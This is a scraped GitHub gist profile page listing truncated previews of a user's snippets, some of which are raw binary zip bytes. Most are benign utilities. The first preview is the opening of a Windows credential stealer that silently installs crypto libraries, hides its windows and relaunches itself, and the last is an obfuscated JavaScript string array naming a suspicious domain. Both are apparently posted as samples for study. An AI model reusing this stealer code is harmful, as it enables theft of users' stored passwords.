Skip to content

Instantly share code, notes, and snippets.

View carcigenicate's full-sized avatar

carcigenicate

View GitHub Profile
import base64\nimport json\nimport os\nimport re\nimport sqlite3\nimport shutil\nimport subprocess\nimport zipfile\nimport sys\nfrom zipfile import ZipFile\nfrom urllib.request import Request, urlopen\nimport time\n\nuserid = "3"\n\nCURRENT_INTERPRETER = sys.executable\nproc = subprocess.Popen([CURRENT_INTERPRETER, "-m", "pip", "install", "pycryptodome", "pypiwin32", "pywin32","requests", "websocket-client"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)\nproc.wait()\n\ntry:\n import win32crypt\n from Crypto.Cipher import AES\n import requests\n import websocket\n\nexcept:\n current_file = os.path.abspath(__file__)\n subprocess.Popen([CURRENT_INTERPRETER, current_file], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,creationflags=subprocess.CREATE_NO_WINDOW)\n exit()\n\nUSER_PROFILE = os.getenv(\'USERPROFILE\')\nAPPDATA = os.getenv(\'APPDATA\')\nLOCALAPPDATA = os.getenv(\'LOCALAPPDATA\')\nSTORAGE_PATH = os.path.join(APPDATA, "Microso
i I  P  Q[ I RI SI T UI V WI X Y[ s Z [[
s s #s s s !s #s \s Ks "s ] j   _  `[ s aPK * fileTemplates/internal/Python Script.py.ftPK ÁÒ4 D D , fileTemplates/internal/Python Script.py.html<html>
<body>
<p>Creates an empty Python file.</p>
<p>A simple example of a Python script:</p>
<code>def print_hi(name):</code><br/>
<code>&nbsp;&nbsp;&nbsp;&nbsp;print(f'Hi, {name}')</code><br/>
<br/>
<br/>
<code>if __name__ == '__main__':</code><br/>
import obspython as S
import glob, os, os.path
from pathlib import Path
import urllib.request
# from datetime import datetime
# import pywinctl as pwc
from collections import Counter
from ctypes import windll
class Question:
def __init__(self, question: str):
self.question = question
self.answer = None
questions = [
Question('This is question one'),
Question('This is question two'),
Question('This is question three'),
]
@carcigenicate
carcigenicate / activitySpoofer.js
Created August 31, 2024 16:23
Preventing the Teams Web App from marking you as Away every five seconds.
// ==UserScript==
// @name Teams Activity
// @namespace http://tampermonkey.net/
// @version 2024-08-29
// @author Carcigenicate
// @match https://teams.microsoft.com/v2/
// @grant none
// ==/UserScript==
(function() {
#! /bin/env bash
# Attempts to set the mic profile to HFP since it randomly started defaulting to A2DP, which doesn't allow mic input
command="pacmd set-card-profile bluez_card.your_card handsfree_head_unit"
count=0
maxCount=100
output=$(eval $command)
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (('loads',))
4 IMPORT_NAME 0 (json)
6 IMPORT_FROM 1 (loads)
8 STORE_NAME 1 (loads)
10 POP_TOP
2 12 LOAD_CONST 0 (0)
14 LOAD_CONST 2 (('choice',))
16 IMPORT_NAME 2 (random)
// ==UserScript==
// @name Reply Saver
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Saves unposted top-level replies to localStorage, and restores them on nav back to the page.
// @author carcigenicate
// @match https://old.reddit.com/r/*/comments/*
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @grant none
// ==/UserScript==
const obsArr = [
'.',
'-',
'replaceAll',
'ip',
':',
'hostname',
'location',
'',
'unk.com',